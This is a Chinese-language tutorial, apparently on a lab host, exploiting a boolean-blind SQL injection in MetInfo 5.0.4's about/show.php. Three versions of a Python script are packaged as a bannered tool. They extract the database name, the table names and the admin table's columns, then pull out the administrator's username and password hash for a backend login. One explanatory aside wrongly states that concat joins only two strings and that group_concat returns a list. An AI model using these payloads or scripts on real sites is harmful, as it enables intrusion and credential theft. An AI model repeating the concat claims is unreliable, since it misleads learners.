漏洞点:/about/show.php?lang=cn&id=22
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
验证漏洞(数字型注入)
状态码区分正确与错误
做比较的时候不能采用单引号进行比较,要采用大小余号,ASCII进行编码
我们看到页面正常
页面不正常,说明此处为数字型注入,且存在布尔盲注漏洞。
我们拿sqlmap
跑一下:
python .\sqlmap.py -u "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
发现只检测出了延时注入,而没有检测出存在布尔盲注,而延时注入的成本要比布尔盲注的成本要高许多,所以我们就可以自己写一个布尔盲注脚本。
布尔盲注脚本编写
# metinfo_5.0.4_sqli-boolean.py
'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
'''
import requests
import string
import base64
from termcolor import colored
url="http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
i=0
while True:
i+=1
# 获取数据库名称的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了数据库名称的长度,将其保存在变量 sql_name_length 中。
payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
# 获取数据库所有表名的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了所有表名的长度。
payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+" # 获取数据库所有表名时使用
#print(payload)
full_url=url+payload
print(full_url)
res=requests.get(url=full_url)
if "../404.html" not in res.text:
sql_name_length=i
print(f"[*] The length is {i}")
break
# string.printable 是一个内置字符串常量,包含了 ASCII 字符集中的所有可打印字符。
# strip() 是 Python 内置的字符串方法之一,它的作用是去除字符串的头尾指定字符(默认为空格字符)。
# 因为string.prinable 的最后的几个字符是空格、制表符、换行符等不可打印字符。因为在进行 SQL 注入时,只需要使用可打印字符,所以需要使用 strip() 方法将不可打印字符去除。
c_set= string.printable.strip()
sql_name=""
# 获取数据库名
for b in range(sql_name_length):
for c in c_set:
payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " # 获取数据库名时使用,ord.c 表示转换为ascii码
payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " # 获取数据库所有表名时使用
# print(payload)
full_url=url+payload
res=requests.get(url=full_url)
if "../404.html" not in res.text:
sql_name+=c
print(colored(f"[*] The sqlname is {sql_name}","green"))
break
'''
DATABASE:
metinfo_504
table_name:
met_admin_column,met_admin_table,met_app,met_column,met_config,met_cv,met_download,
met_feedback,met_flash,met_flist,met_img,met_index,met_job,met_label,met_lang,met_link,
met_list,met_message,met_news,met_online,met_otherinfo,met_parameter,met_plist,met_product,
met_skin_table,met_sms,met_visit_day,met_visit_detail,met_visit_summary
'''
说明:
代码进入一个嵌套循环,外层循环遍历数据库名称的每个字符位置,内层循环遍历在 ASCII 可打印字符集(
string.printable
)中的每个字符。在每次循环中,代码构造一个 payload 用于获取数据库名称和所有表名的字符。具体步骤如下:
- 获取数据库名称的字符:通过构造
payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "
,将字符位置 (b+1
) 和字符的 ASCII 值 (ord(c)
) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了数据库名称的字符,将其添加到变量sql_name
中。- 获取数据库所有表名的字符:通过构造
payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "
,将字符位置 (b+1
) 和字符的 ASCII 值 (ord(c)
) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了所有表名的字符。
执行结果:
获取到表名之后,怎么拿到管理员账密,因为metinfo是一个出名的网站管理系统,我们可以通过百度搜一下他的数据库结构
查到了账号和密码在met_admin_table表中,我们可以继续完善上面的脚本:
构造payload:
payload= f" and length((select group_concat(table_name) from information_schema.tables where table_name='met_admin_table'))>0"
在bp中进行测试:
这里是因为单引号是不可以使用的,需要避免使用单引号,我们可以对其进行十六进制编码:
再次测试:
正常返回,这样payload就构造完成了。接下来构造脚本:
# metinfo_5.0.4_sqli-boolean.py
'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
'''
import requests
import string
import base64
from termcolor import colored
import sys
banner='''
================================================================
____ _ _ _ _ ___
/ ___| | | | | | | | | |_ _|
| | _ | |_| | | | | | | |
| |_| | | _ | | |_| | | |
\____| |_| |_| \___/ |___|
-- G_H_I
Explain : In this case, the test is metinfo 5.0.4 sqli-boolean
================================================================
'''
print(colored(banner,"green"))
flag = input(colored(f"Could you want to continue?[Y/n]","red"))
if flag == "n":
exit()
url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
i=0
while True:
i+=1
payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+" # 获取数据库所有表名时使用
payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} --+"
# print(payload)
full_url=url+payload
print(full_url)
res=requests.get(url=full_url)
if "../404.html" not in res.text:
sql_name_length=i
print(colored(f"[*] The length is {i}","red"))
break
c_set= string.printable.strip()
sql_name=""
for b in range(sql_name_length):
for c in c_set:
payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " # 获取数据库所有表名时使用
payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
# print(payload)
full_url=url+payload
res=requests.get(url=full_url)
if "../404.html" not in res.text:
sql_name+=c
# print(colored(f"[*] The sqlname is {sql_name}","green"))
print(colored(f"\r[*] The column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
break
补充:
concat
和group_concat
都是 MySQL 数据库中的字符串聚合函数。它们的作用是把多个字符串值连接成一个字符串,并返回连接后的结果。然而,两者有以下不同之处:
concat
函数只能连接两个字符串,而group_concat
函数可以连接多个字符串。concat
函数返回连接后的字符串结果,而group_concat
函数返回所有连接后的字符串组成的一个字符串列表。
我们得到了admin_id 和admin_pass,我们猜测这两个代表管理员账户和密码,我们接着完善脚本:
# metinfo_5.0.4_sqli-boolean.py
'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
得到数据库名的长度
and length((select database()))=1 --+
得到数据库名
and ascii(substr((select database()),1,1))=1 --+
得到数据库所有表名的长度总和
and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+
得到数据库所有表名
and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1 --+
得到met_admin_table表的所有列数
and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))=1 --+
得到met_admin_table表的所有字段
and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),1,1))=1 --+
获取met_admin_table表中的 admin_id和admin_pass 外加一个冒号分隔符的长度
and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))=1 --+
获取admin_id 和 admin_pass 的值
and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),1,1))=1 --+
'''
import requests
import string
import base64
from termcolor import colored
import sys
banner='''
================================================================
____ _ _ _ _ ___
/ ___| | | | | | | | | |_ _|
| | _ | |_| | | | | | | |
| |_| | | _ | | |_| | | |
\____| |_| |_| \___/ |___|
-- G_H_I
Explain : In this case, the test is metinfo 5.0.4 sqli-boolean
================================================================
'''
print(colored(banner,"green"))
flag = input(colored(f"Could you want to continue?[Y/n]","red"))
if flag == "n":
exit()
url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
i=0
while True:
i+=1
payload= f" and length((select database()))={i} -- " # 获取数据库名的长度时使用
payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- " # 获取数据库所有表名时使用
payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} -- "
payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={i} --+" # limit 0,1 :限制查询结果的行数为一行,从第 0 行开始,即第一行。
# print(payload)
full_url=url+payload
# print(full_url)
res=requests.get(url=full_url)
if "../404.html" not in res.text:
sql_name_length=i
print(colored(f"[*] The length is {i}","green"))
break
flag = input(colored(f"Could you want to continue?[Y/n]","red"))
if flag == "n":
exit()
c_set= string.printable.strip()
sql_name=""
for b in range(sql_name_length):
for c in c_set:
payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " # 获取数据库所有表名时使用
payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
payload=f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{b+1},1))={ord(c)} -- "
# print(payload)
full_url=url+payload
res=requests.get(url=full_url)
if "../404.html" not in res.text:
sql_name+=c
# print(colored(f"[*] The sqlname is {sql_name}","green"))
print(colored(f"\r[*] The met_admin_table-column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
break
执行结果:
对得到的密文其进行解密:
登录网站后台: